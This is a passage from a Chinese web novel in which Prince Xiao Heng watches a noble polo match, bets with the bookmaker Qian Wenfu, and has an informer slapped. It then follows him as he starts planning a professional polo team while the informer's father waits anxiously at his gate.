此时场中比赛的众人也走下了场地,各自的下人迅速上前接过了马匹,将马匹牵到一旁的阴凉处,为马匹降为补充体力。
一名体格还算壮实的青年迅速跑到了萧恒面前。
朝萧恒行了一礼,恭敬喊道:“苏扬参见殿下。”
此人正是崔浩口中魏国公府的苏扬,不过其身份却不是魏国公所出,而是侄子。
对于此人萧恒同样不熟,但对方毕竟也是姓苏,萧恒还是笑着点了点头。
夸赞道:“刚才的表现本王看到了,不错。”
“谢殿下夸奖,我会继续努力的,”苏扬顿时面色一喜朗声说道。
“见过齐王殿下,”其他人也陆续跟了上来,朝萧恒行了。
萧恒笑道:“刚才大家表现,有冲劲,都不错像我大梁儿郎。”
说着萧恒取下了腰间玉佩道:“今日本王虽说来看热闹的,但面对如此精彩的比赛,也不能白看。”
“这块玉佩,一会加时赛结束,你们那一方赢得比赛,便归那一方。”
第38章:胖子钱文赋
萧恒此言一出,众人顿时面露一丝喜悦。
即便是吴良俊身为右相府的人,因二皇子的生母便是右相之女,整个右相已经自动被划到了二皇子的阵营当中了。
但此刻吴良俊双眼看着萧恒手中这块玉佩同样面带一丝激动。
毕竟眼前的众人都是一群不被家族重视的存在,而萧恒不管怎么说,都是皇子,身份尊贵。
家里面的资源他们显然已经用不了了,但若是能在外面搭上一个皇子的线,对于他们这些人来说不管怎么算都是百利而无一害的。
“那我可就多谢殿下赏赐了,”苏扬一副势在必得的表情道。
“哼,本事不大口气倒是不小,”吴良俊不屑的冷哼一声,朝萧恒行了一礼。
其他人看着萧恒手中的玉佩,也是一脸异动。
“都各自休息吧,一会继续好好战斗,”萧恒看着众人笑道。
“诺,”众人闻言点头各自散去。
“少爷喝水,小的给你捏捏肩。”
立即有各自带来的下人上前,送去了水袋,给一众公子哥补水,同时下人还殷勤的为其捏肩。
半刻钟的时间很快过去。
“铛……!”
依旧是那一声铜锣声响起。
“加时赛即将开始,请各队上场准备。”
裁判敲响铜锣高声喊道。
正在休息的两队人,立即起身走到了场内,各自的下人也迅速将彼此的马匹牵了上来。
加时赛这一场,双方依旧各五人,不过因为一场为两刻钟,双方队伍中都有体力消耗过大的选手。
吴良俊这边加时赛后直接换了两人,苏扬这边更是换下来三人。
不过吴良俊与苏扬却并未换下,二人如同发情的野牛,死死盯着对方。
“铛……!”
马球摆放在中间,双方选手控制胯下战马各自站在马球两侧五步开外。
随着铜锣声响起,加时赛正是宣布开始。
“驾……!”
双方各自催动马匹朝马球奔去,小小的马球一时间再次汇聚了众人的焦点。
“你不上去玩一会,”加时赛开始,萧恒在凉亭下随便寻了一根矮凳坐下,看着比赛对崔浩问道。
崔浩闻言摇头道:“这群人就是一群牲口,下手没轻没重的,上个月我上场了不到半刻钟的时间,便硬生生的挨了他们几十下球杆的击打,一旬时间过了,身上的淤青都没有彻底消退,我还是在下面看着就好。”
这个世界的马球,起源于骑兵。
这也是为啥马球大小与成年人头差不多大小,而要求便是快准狠击打在马球上。
这也对应了战场上的厮杀,你若下手不狠不准,自然死亡的便是自己。
你若稳准狠,死的便是敌人。
所以赛场上,使用球杆击伤他人,也是一种被默认的规则。
不过现在马球毕竟是一群勋贵在玩,总不可能真的如同战场上那般玩命。
故此为了不闹出人命,也制定了不少规则出来。
比如说,不可击打对方马匹,不可击打选手头颅等规则。
说着崔浩都忍不住打了一个冷战,看来上月被虐的不轻啊。
“殿下加时赛刚刚开始,胜负尚未知晓,不知殿下可有兴趣下一注玩一玩,”这时一身材胖乎乎的男子,忽然来到萧恒耳边轻声询问道。
“钱胖子你掉钱眼里了啊,殿下何等身份,你竟敢让殿下下注?”崔浩瞪大了双眼,不可置信道。
被称为钱胖子的胖子缩了缩脖子:“殿下刚不是说今日是来看热闹的吗,我这不是想着好歹也让殿下有点参与感不是。”
“你还说,”崔浩恶狠狠的瞪了钱老六一眼。
“姓钱?”萧恒表情随意,目光看着钱胖子:“宋国公是你什么人?”
“回殿下的话,”钱胖子说道:“宋国公正是我的祖父。”
一旁崔浩说道:“殿下恕罪,这胖子就是一个没脑子的货,眼里就只有钱。”
“每次城中有人争斗或者其它什么赛事,总能见到这小子的身影,今日这盘便是这小子开的。”
“刚才多半是猪油蒙了心智,这才脑子一抽,对殿下询问。”
萧恒摆了摆手一脸随意:“无妨,都是自己人,刚才本王也说了,今日是来凑热闹的,既然有盘口,玩一下图个乐子也是无妨的。”
“本王押五十两,吴良俊一方赢,”萧恒笑道。
崔浩一听表情微愣,押吴良俊一方赢,齐王殿下竟然没有押苏扬一方,不应该啊。
“好嘞,”钱胖子一听,顿时满脸笑意。
反手就掏出一个账册:“我这就为殿下押注。”
手握一杆毛笔,刷刷写道:“齐王殿下押注吴良俊一方纹银……!”
到这钱胖子没再继续写下去,而是抬头一脸期待的看向萧恒。
萧恒见状一时没有反应过来,还有些发蒙。
一旁的崔浩便已经上前,一巴掌拍在了钱胖子的后脑上。
“钱胖子我看你是彻底没救了,殿下还会差你那五十两银子啊。”
说着崔浩从袖口中掏出了一张银票递了
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出去:“殿下押注的钱,算我的。”
“不用,本王下的注,自己由本王出钱,让你出钱,算什么?”萧恒这才反应过来,感情是等着自己给钱呢。
身后三福会意,迅速掏出了银票。
“殿下又不多,我给殿下垫付了就成,”崔浩道。
“没这道理,”萧恒挥了挥手:“本王自己来就成。”
“那行吧,”崔浩这才重新将银票收了起来。
“好嘞,”钱胖子则是丝毫不在乎后脑挨的那一巴掌,笑眯眯的伸手接过银票。
随即继续写到:“押注五十两,赔率一比一,庄家钱文赋,押注方齐王萧恒。”
在账册上记好之后,钱文赋又在另一个空白的纸张上写了一遍,随即便笑眯眯的将账册与纸张一同递到了萧恒面前。
笑容满面道:“劳烦殿下按个手印,此单一式两份,赛事结束,凭单据兑换银两。”
看着眼前一式两份的单据,萧恒顿时乐了,眼前这货着实有点意思啊。
一旁的崔浩则是已经面色铁青了,这货在干嘛?
跟在萧恒身后的三福,此刻面色也没好在哪里去,这货是猪脑子不成,区区五十两,要钱就算了,你竟还敢找殿下按手印?
不过三福见萧恒脸色并无任何不满,也没有发作出来,只是默默的记下了眼前这个胖子,事后在慢慢算账便是。
崔浩则是抬手一把薅住胖子的后衣领,怒气冲冲道:“你知道你在干啥不?”
胖子抬头一脸无辜,眨巴了一眼:“咋……咋了?”
“不都是这套流程吗?”
“齐王何等身份?”崔浩翻了一个白眼,瞪眼质问。
胖子脖子顿时一缩,反应了过来,脸上立即面露一丝惶恐之色:“殿下恕罪,习惯了,条件反射,并非本意。”
说着急忙收回了账本,至于手中哪一张单据,则是被胖子一口就给吞了,一边咀嚼一边一脸惶恐的看着萧恒。
看着胖子一脸滑稽的模样,萧恒内心一笑,这胖子是个乐子人啊。
傻里傻气的。
当即开口问道:“你叫什么名字?”
胖子立即躬身回应道:“回殿下我叫钱文赋”
“钱文赋,嗯不错,好名……等等你叫什么?”萧恒表情一怔,随即眼神都变得犀利了不少。
“钱……钱文赋,”胖子扑通一声跪了下去。
面色惶恐不安道:“这名字有什么不妥吗殿下?”
“若是殿下不喜,我这就回去将名字改了,直到殿下满意为止。”
第39章:那里都有小丑
“莫要紧张,刚只是本王没有听清罢了,故而又询问了一遍,”萧恒表情淡然的抬了抬手示意钱文赋起身。
内心却是起了不小的波澜,因为眼前之人在原著中,后期可是占据了不小的篇幅。
大梁首富钱文赋!
此刻萧恒表情平静,内心看着眼前这个不起眼的胖墩,却是就差冒绿光了。
原著中这货后期可是大梁首富啊,商号开遍了整个大梁,周边无数国家,异族草原都有这货旗下商队的身影。
这可是一支潜力股啊,必须打好关系……不对,是必须拉入自己麾下,让其为自己赚钱。
一想到未来的世界首富就在眼见,而且目前还是一个刚刚初出茅庐,不被族中重视的庶子。
此刻萧恒内心那叫一个激动,看着胖子的眼神都不由的亮了起来。
就仿佛饿急眼的独狼,突然发现了一群肥美的羊羔一般。
馋啊。
萧恒的眼神让胖子内心有点发慌。
“咳……!”
见状萧恒轻声咳嗽了一声,眼底的炽热瞬间消息,瞬间恢复自然。
萧恒压了压手,表情自然道:“不要这么紧张嘛,搞得本王会**似的,坐。”
随即指了指旁边的矮凳说道。
“不用不用,我站着就好,这样舒服,”胖子略显紧张道。
对此萧恒笑了笑也并未强求。
视线自然的落到了场中比赛上,口中淡然问道。
“今日的盘口是你一人开的,还是几人合伙开的?”
胖子立即回答道:“小打小闹也没几个钱,别人也看不上这点银两,算是我一人开的。”
萧恒目光一扫四周,看了一眼身后的公子哥,在加上场上正在比赛的众人,不低于二十人。
笑道:“你今日盘口百两银子封顶,这里一二十人若是全加来,一人百两银子,可是一两千两银子的盘口,这可是一块让人眼馋的肥肉啊?”
胖子闻言立即解释道:“说是百两银子封顶,实际上大家也都是图一乐罢了,大部分人都是十两亦或者二十两罢了,鲜有真押注百两银子的。”
说着胖子看了一眼身侧一人,此人正在全神贯注的观看比赛,正是押注百两银子的那人。
胖子指了一下那人:“今日也就此人一人押了百两纹银,其余人都是小玩,算是彩头罢了。”
“而且盘口赔率我也开的小,双方比例都是一比一,拼的就是运气。”
“双方若是押注差不多的情况下,最后等陪完赢的一方,盘中的银两也就差不多了,就赚个辛苦费,甚至偶尔有时还会贴银子进去,其他人也没啥兴趣玩,也就我偶尔会心血来潮玩一下。”
“大家权当是一个乐子罢了,”胖子赔笑说道。
“殿下,这小子骗您呢,”胖子话音刚落,一道拆台的声音便响了起来。
是一青衫青年。
“开盘口这事钱文赋可是老手了,只要京都有啥类似的事,准能有他的身影。”
“甚至去年,张家与黄家两男子同时看上了宋家女子,皆请人上门提亲,钱文赋都专门开了一个盘口,押注哪家男子能最终娶的宋家女子,狠狠的赚了一笔。”
萧恒闻言顿时眉头一皱,真是应了那句话了,有人的地方,就有江湖。
一群不受人重视的二世祖之间,竟然也是这般,逮到机会就给人下绊子。
见萧恒皱眉,胖子面色顿时一白,急忙解释道:“殿下切莫听此人胡说,那只不过是为了朋友私下的玩闹,添了一些彩头罢了。”
青衫满脸嬉笑:“钱少的彩头挺值钱啊,随随便便就是几百两银子。”
钱文赋闻言面色瞬间变得惨白,满脸惶恐的看向萧恒。
青衫青年则是满脸得意之色。
旁边的众人此刻表情各有不同,平日里不对付的则是一脸看好戏的看着钱文赋。
平日里玩得好的几人,则是眉头紧皱,但却又不敢出言,只能满脸紧张的盯着萧恒。
“你叫什么名字?”萧恒面色平静。
青衫青年急忙行礼回应道:“回殿下,小民乃是吴山伯佑永方之子佑陆之。”
“县伯?”萧恒面露一丝疑惑,脑海中关于吴山伯的印象没有丝毫存在。
大梁爵位,共分九等,一等爵位自然是王,正一品,食邑万户。
除去大梁皇室的藩王,从大梁立国到如今,除了在大梁圣祖皇帝立国初期,封过两位一等异姓王以后。
从此大梁就再未出现过任何一位一等爵位的异姓王了。
甚至就连这两位王爷,在圣祖皇帝晚年的时候,都因各种缘故被削去了爵位,消失在了历史长河中。
基本上最高也就是三等爵位的国公了。
末等爵位,也就是九等爵位,则是县男爵位,品秩对应从五品,食邑三百户。
而县伯属于七等爵位,品秩正四品,食邑五百户。
这类存在,在大梁京都这地盘上,说句夸张一点的话,楼上随便掉下一块牌匾,都能砸死三。
身后三福沉吟了片刻,低声说道:“吴山伯祖上是开国郡公,**三代,传到现在的县伯。”
“当代吴山伯佑永方,目前好像是在礼部任职六品主事一职。”
大梁爵位与官职是分开论的。
爵位属于一种荣耀与地位的象征,而官职则是实打实的权利。
当然初代爵位另说。
而若是像吴山伯这等靠祖上一代接一代传下来的,最后几乎都是空有一个名头。
见三福思索片刻,便直接说出了自家祖上的功绩,以及自家父亲的官职,佑陆之面色顿时大喜
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。
赶忙笑着附和道:“是的,家父现在正是任职礼部主事一职。”
“家父时刻教导小民,要忠心朝廷,忠心陛下……”佑陆之巴拉巴拉就是一大堆话。
“行了行了,”萧恒对此却是毫不掩饰的露出了一丝不耐,挥了挥手。
目光平静的看向佑陆之:“所以你是与钱文赋有仇?”
“故意与本王说这些,打算借本王的手,惩戒钱文赋?”
佑陆之面色顿时凝固,下一刻转变为了巨大的恐慌。
扑通一声跪了下去。
“殿下明察,小民绝无此意,小民只是见钱文赋欺骗殿下,故而实话实说罢了。”
萧恒满脸厌烦:“小题大做捕风捉影,随便一件小事,也能成为你发难他人的由头,本王向来讨厌你这等人。”
“拖下去,掌嘴。”
“诺。”
身后护卫铁牛应了一声,上前一把将对方薅了起来,拖拽到一旁。
“殿下小民”
“啪……!”
佑陆之求饶的话还未出口,铁牛已经抬起蒲扇大的巴掌落了下去。
对方顿时发出了一声惨叫。
“聒噪,”铁牛顿时轻喝一声,手上力道加大了一分。
这下对方没敢在发出太大的惨叫,闷哼了一声,将即将出口的惨叫硬生生的憋了回去。
铁牛继续掌嘴,眯着眼道:“小子这点上不了台面的伎俩,你竟然也敢在殿下面前使用,你小子也是老子见过少有的这般缺心眼的人了。”
“今日殿下好端端的来凑个热闹,你倒好非得落了殿下的兴致,着实该死。”
“啪……!”说着又是狠狠的一巴掌。
铁牛每扇佑陆之一个嘴巴子,周围的众人身躯就会忍不住颤动一下,感觉脸颊痛。
就连胖子钱文赋都是一脸的心惊胆战。
铁牛并未将对方往死里打,连续扇了对方十来个巴掌之后,便不再打了。
随手一丢,像是在对佑陆之说,也是像是在对其他人说。
“以后说话过过脑子,小聪明容易害死自己知道不。”
砰。
随后随手一丢,重新站到了萧恒身后。
“谢殿下饶命,谢殿下饶命,”此刻佑陆之脸肿的跟猪头似的,说话都漏风了。
随手处理了一个跳梁小丑,萧恒视线重新落到胖子身上,淡然笑道:“挨罚的又不是你,你紧张个什么劲?”
“再说大梁律法里面哪一条有说,不可以开盘口吗?”
胖子面色一怔:“好像没有?”
“这不就得了,既然没有触犯大梁律法,便是合法合规的,”萧恒无所谓道:“既然如此你怕什么?”
“别说对方只是一个无官无职的百姓,就算是朝廷御史,**他人也需要有凭有据,不能空穴来风。”
第40章:寒瓜
“这等人还不值得殿下您生气,”这时崔浩双手捧着一块西瓜走了过来。
递到萧恒面前恭敬说道:“这瓜提前用山泉水浸泡过,此刻天热,正好解暑。”
“嗯,”萧恒轻轻颔首接过了崔浩手中的西瓜。
相比后世的西瓜,此时手中西瓜的颜色并不鲜红,反而有点偏白。
萧恒吃了一口,因为提前用山泉水浸泡了好一阵,入口确实挺凉的,不过口感却称不上多么的惊讶。
甜味偏低,但相比后世的西瓜。
此时手中的瓜,除了水分挺足,其它的就显得有些淡而无味了。
不过根据原身记忆,这个世界的瓜,就是这个味,这已经是口感极好的瓜了。
并且到目前为止此瓜,刚传入大梁不久,还属于勋贵士族才能享用的水果。
九成九成的普通百姓莫说吃了,见都没有见过。
面对眼前口感不佳的西瓜,萧恒随意吃了一口,便面露一丝笑意道:“味道不错,此刻解暑正好,大家一同享用吧。”
“谢殿下,”众人行礼道谢。
开始分瓜。
“今日这瓜口感着实不错。”
“嗯,确实不错,好吃,解暑必备良品啊。”
众人吃瓜之后纷纷点头称赞。
皆是一脸享受的表情,唯有脸肿的如同猪头一般佑陆之低着头站在远处,眼巴巴的望着这边。
萧恒吃了两口之后,便将手中的瓜放到了一边。
实在是吃惯了细糠,面对眼前的粗糠提不起啥兴趣起来。
萧恒吃过更好的,对眼前的瓜不感兴趣。
但西瓜在这个世界,可属于高档货,产量低,种植少,可不是想吃就能吃的。
这时萧恒忽然注意到,人群中两名年纪最小的小丫头,一人就分了一小块。
小孩对这类瓜果本就喜爱,几口就给吃完了,这会连瓜皮上稍微有点甜味的地方都给啃干净了,正一脸意犹未尽的看着桌上还剩下的瓜。
萧恒见状面色微微一笑,对崔浩道:“再给那两位小朋友一人分一块。”
“不不不……不用了,”两位小朋友年纪不大,但教养极好,刚才的动作不过是出自本来反应,此刻萧恒出声,两人立即反应了过来。
急忙摆手道:“不用了……不用了,还有其它水果呢,一会我们吃其它的的就是,剩下的留给场上比赛的大哥哥他们下来了食用。”
今日众人就带了两个瓜,还不大,也就成年人头颅大小,一二十人分食,一人也就能分的一小块。
对于这种懂事的小朋友,萧恒一向喜爱,而女娃更是绝杀。
萧恒顿时笑道:“无妨,那些大哥哥吃其
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它的水果也是一样,你们若是先吃,便吃就是了。”
崔浩走了过去,挑了两块大的,递给了两人笑道:“既然殿下开了金口,你俩今日只管敞开肚皮吃,绝对无人敢说你二人。”
“真的?”两人眼前一亮。
萧恒笑道:“真的,这里就我最大,他们都得听我的,我说了算,吃吧。”
“谢殿下,”两小丫头闻言,面色大喜急忙行了一礼,迫不及待的接过西瓜吃了起来。
“你们几个也一样,若是想吃,便吃就是了,”萧恒又看向另外几名年长一点的女子。
表情自然道:“今日你们带来的水果不少,他们一群大男人,就不用单独给他们留哪一样了。”
“谢殿下,”几人侧身行礼,但无人在再吃瓜。
都是大家闺秀,并不缺这一口吃的,也不会为了一时的口腹之欲,坏了礼仪。
到时两小孩在得到萧恒准许之后,彻底吃爽了,一人连吃了数块,眼看还要吃,被其中一名女子出声制止了。
低声说道:“两位妹妹可不能再吃了,这寒瓜虽好吃,但却寒气及重,若是吃多了,小心一会寒气入体,肚子痛哦。”
两小朋友闻言,这才停止了进食。
寒瓜便是西瓜的名字,因为性凉,有着解暑清热的功效,故而得名寒瓜。
第41章:殿下给的就是好吃
“漂亮,赢了……。”
在加时赛的最后时间段,杨少元再次打进一球,锁定了胜局。
今日的球赛,杨少元是吴良俊叫来的,属于吴良俊一方。
此刻随着杨少元再次打进一球,宣告吴良俊一方获胜。
场下吴良俊一方的人顿时兴高采烈了起来。
苏扬一方的人则是垂头丧气了起来,一脸难看。
面色难看不是因为押注输了,他们都是二代子弟,虽不是嫡子,而是庶出,但区区几十两纹银还不值得他们伤心难过。
让他们难过的是,丢了面子。
大家都是一个圈子里面混的,今日脸面没有找回来,日后少不了被他人说风凉话。
尤其是那句叫对方大哥,一想到以后见到对方就要叫一声大哥,对方那趾高气昂的表情,哥几个此刻脸色便如同吃了一坨屎似的。
“哈哈,我们赢了,快叫声大哥来听听。”
场上比赛结束,场下吴良俊一方的人,没有第一时间找胖子要钱,反而是兴高采烈的朝苏扬喊来的**声说道。
“怎么要耍赖啊,快叫声大哥来听听,”见对方一个个沉默不语面色难看,一方则是面色得意道。
“聒噪,殿下当前,莫要大声喧哗,”崔浩是苏扬喊来的,此时场上比赛输了,面色也没好看在哪里去,当即沉着脸轻声喝道。
吴良俊一方的一人闻言一个个顿时面露不满之色,咋滴这是想耍赖,不喊?
但看了一眼神色如常的萧恒,又都忍了下去。
无事来日方长吗,今日齐王在给齐王一个面子,改日齐王不在了再羞辱也是一样。
你总不能天天与齐王待在一起。
“殿下,幸不辱使命,”此时场上的人也纷纷走了下来,吴良俊昂着头走到了萧恒面前,身后是自己的队友,一个个此刻跟打了打胜仗似的,拽的不行。
“不错,有股子拼劲,”萧恒笑了笑,将玉佩随手丢给了吴良俊:“你们的了,至于归谁,你们自己商量去,本王不管。”
“谢殿下,”吴良俊抬手稳稳接住,一脸喜色。
“下去休息吧,”萧恒挥了挥手。
“对不起殿下,我给你丢脸了,”吴良俊带人退到一边,苏扬耷拉着一个脑袋走了上来。
此时萧恒手中拿着一个橘子,慢悠悠的吃着,一脸疑惑道:“此话何意,什么叫做丢本王脸了。”
苏扬张了张嘴欲要说话,本意是想从魏国公府和萧恒攀关系的,但显然被萧恒一句话就给堵了回去。
萧恒吃了一块橘子道:“胜败乃兵家常事,输不是很正常的吗,输就输了呗,下次再赢回来不就得了。”
苏扬抬头像是得到了极大的鼓舞一般,重重点头:“殿下说的对,胜败乃兵家常事,下次在赢回来就是。”
“姓吴的且让你得意两日,下次我一定赢你?”苏扬抬头对吴良俊大声喊道。
“就你?”吴良俊目光看了过来一脸不屑:“随时奉陪,不过记得见面叫哥。”
苏扬面色顿时难看到了极点。
“殿下,这是你的本金加赢的钱,一共一百两白银,”这时胖子将萧恒的钱送了过来。
“殿下今日押的吴良俊一方?”苏扬见状不可置信道。
三福笑眯眯的接过银子揣进了怀中。
对萧恒拍了一个马屁道:“殿下慧眼啊,就这么一会工夫,百得五十两。”
随即眼神不善的看向苏扬:“怎么滴,殿下押谁赢,还需要经过你的同意?”
“没有……没有,只是没想到殿下也会参与押注,”苏扬愣了一下,急忙面露一副比哭还难看的笑容道:“恭喜殿下押注成功。”
“这其中有你一份功劳,”萧恒一本正经道。
苏扬表情苦涩一笑,这话怎么听着这么不对劲呢。
“行了,看玩笑的,输一场比赛,看你这脸都快掉到脚背上了,魏国公府出来的男人个个顶天立地,可没人因为一时的失利,就心生怨气了。”
萧恒起身拍了拍苏扬的肩旁,将手中剩下的一半橘子递给了苏扬。
这橘子着实不甜,酸的一批,刚才萧恒尝了一块,若非原身常年养成的习惯,对萧恒产生了影响,强装镇定了起来,非得酸出表情包出来不可。
刚萧恒还将这橘子
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,分给了那俩小丫头一人一块,一口下去,俩丫头直接就是俩可爱的表情包,一脸幽怨的看着萧恒。
逗得萧恒哈哈大笑。
“多谢殿下教诲,”苏扬朝萧恒行礼一礼。
萧恒一脸认真的点了点头,随即看了一眼苏扬手中的橘子:“这橘子味道不错,尝尝。”
“诺!”
苏扬应了一声,面色大喜,这可是殿下吃过的橘子,赏赐给自己,没想到殿下竟这般看重自己。
当即没有丝毫犹豫,剩下的半个橘子,张口就吃掉了。
“嘶……!”
咀嚼两下之后,苏扬瞬间瞪直了眼,不过又瞬间恢复正常,极为自然的吞咽了下去。
萧恒见状微微一愣:“味道怎么样?”
“不愧是殿下给的橘子,就是好吃,”苏扬认真道。
萧恒见状心中称赞道:看来苏扬口味挺重啊,既然喜欢吃这么酸的东西。
因为萧恒的缘故,今日双方比赛结束之后,输的一方并没有立即离去。
都想找机会与萧恒攀谈两句。
对此萧恒今日反正都是来凑热闹的,外加这群人虽都是勋贵子弟,但其身份都不重要,萧恒也无须避嫌。
索性表现得落落大方和谁都能和颜悦色的笑谈。
众人休息了一段时间,吃了点东西后,萧恒主动提议,又打了一场球赛。
不过不同苏扬与吴良俊他们那场,萧恒上场这次,纯纯就是一场表演赛。
双方球员都在给在萧恒喂球,上一秒球明明还在对方手中,下一秒就以一个极为自然的路线滚到了萧恒马下。
全程萧恒打了不到一刻钟,便逐渐失去了兴趣。
全程陪老干部玩耍啊。
只不过今日的老干部是自己罢了。
“行了你们自己玩吧,本王还有事,先走了,”玩了一会没了兴趣之后,萧恒随便说了一声准备回城了。
“我看今日时候也不早了,既然殿下准备回城了,正好我们也顺道同殿下一道回城吧,”吴良俊见萧恒准备回城急忙开口道。
“行,那便一同回城,”萧恒并未拒绝,点头答应了下来。
第42章:这孽子不能要了
“周仓你去查一下,这京都会打马球的人有多少。”
“打的好的又有多少。”
返回府中萧恒立即对周仓吩咐道,脑海中已经初步浮现出了一个既能证明自己不干正事不务正业,又能赚钱的想法。
只用了一天的时间,萧恒想要的数据,周仓就给找来了。
“这马球在大梁竟然如此受欢迎?”看着周仓刚刚送来的数据,萧恒不由的惊叹了一声。
普通百姓没钱,也没这闲工夫打马球,自然不在受众群体里面。
但在勋贵商贾之间,竟然有高达三成以上的男子,酷爱马球这一运动,其中玩的好的存在还不在少数。
可别少看了这三成,俗话说萝卜蔬菜各有所爱。
一项运动在没有他人故意宣传传扬之下,一个地方能有三成的男丁会玩,这已经是一个不可思议的数据了。
所以在萧恒看来这马球在大梁勋贵之间的受众简直就是高的吓人。
“这些都是马球技术好的?”周仓送来的名单,总共不低于百人。
每个名字下面都详细记载了个人的基本信息。
清一色的是各勋贵子弟,有几个商贾子弟,但并不多。
周仓闻言道:“前十人是技术别较好的,另外的人,都是一些经常组织玩马球的人,有一定的基础,属下在调查的时候,便一同写了上去,想着殿下万一用得着。”
“嗯,有心了,”萧恒笑了笑。
随口问道:“马球这项运动你会不会玩?”
“会,”周仓点头道:“原来在禁军的时候,禁军统领酷爱这一项运动,所以军中时不时的就会组织一场,所以大部分禁军都会玩。”
萧恒一边看着手中的名单,一边说道:“本王记得禁军统领也姓周,叫周全,你也信周,你俩是亲戚?”
周仓道:“禁军统领周全是我大伯。”
脸上没有丝毫异色,像是在说一件和自己毫不相干的事情一般。
萧恒闻言也没啥表情。
大梁的官员,尤其是军中这种情况很正常。
一人得道之后,家中若有什么可以用的后辈自然需要提携一下。
不然什么百年千年的世家哪来的?
而且周仓也确实有些本事,能来齐王府担任护卫统领一职,也是人家真刀**打出来的。
禁军属于拱卫内城皇室安全的军队,待遇非常好,所以京都勋贵子弟进入其中的不再少数。
但梁帝属于明君一类,对于军队的控制权很是看重,尤其是天子脚下的禁军,更是深知乃是自己关键时刻保命的军队。
所以勋贵子弟虽说进入其中的很多,但在梁帝的高压之下,想在禁军混日子混个履历,是几乎行不通的。
就像周仓这种要担任一名皇子护卫统领的基本要求,便是某一年禁军大比武个人前三的成绩。
成为年度禁军比武前几名,还有其他诸多好处,比如升迁,最重要的是能进入皇帝的眼,无论是对个人,还是对身后的家族,都是极为重要的一件事。
所以每年这一项比赛,凡是有点上进心的人,那都是铆足了劲的冲。
死伤很正常。
若单独说拼背景,大家又都大差不差,就说周仓,虽说其大伯就是禁军统领。
但其他人的长辈,同样也有可能是军中的老将,大臣,小小的拉一下后辈,没人会说你什么,毕竟大家都这么做。
但在巨大的利益面前,你还敢徇私舞弊,那抱歉了,你想一人吃独食,就会有人掀桌子。
大不了谁都别玩了。
“你去将这几个人找来,”萧恒随手拿起案桌上的毛笔,将周仓递来的名单前十人全部画了一笔。
“另外那个虞山侯的庶子杨少元,你也将其叫来。”
“诺!”
周仓领命走了出去,萧恒则是去了书房,提笔就开始写写画画。
“殿下,吴山伯府外求见,”萧恒正在闷头写东西,一内侍忽然敲响了书房的门,朝萧恒说道。
“吴山伯?”萧恒闻言头都没有抬一下,继续书写,随口说道:“谁?”
正在研磨的三福,一边继续轻轻研磨一边说道:“昨日殿下在球场下令掌嘴那人的父亲便是吴山伯。”
“这会登门,应该是为了他儿子的事。”
“没空,”萧恒闻言随口说道,继续写着什么。
此刻齐王府门口,一中年男子面露一抹焦急之色,身后站着一脸肿的
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像猪头一样的青年,正是昨日被萧恒下令掌嘴那人。
中年男子站在原地,看着前方紧闭的齐王府大门。
对身旁的青年怒气冲冲道:“愚蠢简直就是蠢的无可救药,殿下面前你竟还敢使你的小聪明,你有几条命?”
“你若想死,你倒是死在别处去啊,你知不道若是昨日之事殿下较真,府中上下都要跟着你遭殃。”
吴山侯看着眼前的儿子,眼中满是佑陆之得罪萧恒,会对自己造成的各种后果的愤怒,丝毫没有一点作为父亲,自家儿子得罪人了,需要想办法解决的心情。
佑陆之眼中满是恐惧站在自家父亲身后,丝毫不敢表露出什么不满。
昨日佑陆之顶着一张猪头脸回到府中,被生母看到之后,生母当即就落了泪。
自己虽然是妾室,但也是得宠的妾室,自家儿子被自己娇生惯养到这么大,何时被人打的这么惨过。
当即二话不说拉着佑陆之就去了吴山伯面前,路上佑陆之多番解释,就是不听。
好了来到了吴山伯面前,吴山伯起初见到自己儿子被打成这样,还满脸怒意。
自己虽官职不高,但好歹也是堂堂伯爵,祖上那也是风光过的,自家儿子被打成这样,这是一点脸面不给啊。
当即就要报官,为自家儿子讨回一个公告。
结果这边怒气值还未发泄出来,便听佑陆之说,是齐王下令打的。
当即吓得差点没有将手中茶杯给丢掉。二话不说抬脚就踹,边打边询问缘由。
事后更是立即下令准备厚礼,厚礼备好后,今日一早便马不停蹄的带着佑陆之来到了齐王府前。
现在吴山伯府,本就是世风日下一代不如一代,都快挤不进勋贵的圈子里面去了。
这废物倒好,还嫌自家败的不够快,今日还敢得罪齐王。
在来时的路上,吴山伯就已经想好,只要齐王能消气,怎样都行。
区区一个庶子,大不了不要。
至于那个妾室,更是哪凉快哪呆着去,养的什么玩意啊。
可看着眼前紧闭的齐王府门,吴山伯内心焦急不已,只能通过不断地训斥身后这个不成器的孽子,缓解内心的不安。
第43章:组建专业马球队
“嘎吱……!”
在吴山伯焦急的等待中,齐王府正门旁边的一道侧门终于打开了一条缝,一名内侍趾高气昂的走了出来。
站在台阶上,昂着头看着吴氏父子,声音没有丝毫感情:“吴山伯请回吧,今日殿下怕是没空见你了。”
一听齐王不见自己,吴山伯面色顿时一急,急忙走上前,同时从怀中掏出了一锭银两,递了过去。
“劳烦公公再通报一声,下官真的有很重要的事见齐王殿下。”
“咱家就是一个传话的,吴山伯何必为难咱家呢,”内侍并未伸手接银子,而是将其推了回去。
拿银子是有规矩的,有些银子可以拿,有些银子拿不得,若是什么银子都敢伸手,注定会被撑死。
吴山伯面色难看,没有立即收回银子,而是再次递了出去道:“还请公公转告殿下,既然今日殿下没空,那下官便改日再来叨扰。”
“这是下官备的薄礼,是下官孝敬殿下的一片孝心,还请公公转交给殿下,。”
说着又将银子塞到了内侍手中:“一点茶水费,还望公公莫要嫌弃。”
“收回去吧,殿下不收礼的,”内侍再次将银子推了回去,吴山伯备的礼物更是没看一眼,转身从门缝中重新钻了进去。
哐嘡,侧门再次被紧紧关上。
独留吴山伯一人望着紧闭的府门,面露难色。
“爹,齐王殿下不愿见我们,并且连礼物都不愿收下,我们该怎么办啊?”佑陆之开口问道。
“砰……!”
“老子知道怎么办,都是因为你这孽子,从今以后老子没有你这样的儿子,”吴山伯转头一脚踹在佑陆之身上。
又抬头看了一眼紧闭的府门,这才一脸无奈的转身离去。
心中瞬间生出了无数种,齐王让他们犹家家破人亡的念头,甚至九族消消乐的画面都开始浮现了。
对于吴山伯的各种幻想,萧恒并不知晓,也不想知晓。
之所以不愿见吴山伯,只不过是单纯的不想见罢了。
昨日的事萧恒早就将其抛之脑后了,什么级别的事情,也配占自己的脑容量?
两个时辰后,周仓才带着萧恒要找的那几人出现在萧恒面前。
之所以会这么久,主要是萧恒要的人有点多,十来人,又是临时吩咐的。
各有各的事,又总不能一会带一个来一会带一个来的,便拖了一两个时辰,人才全部到齐。
“参见齐王殿下,”萧恒在客厅见了众人,一共十一人,清一色的年轻人,关键一个胖子没有。
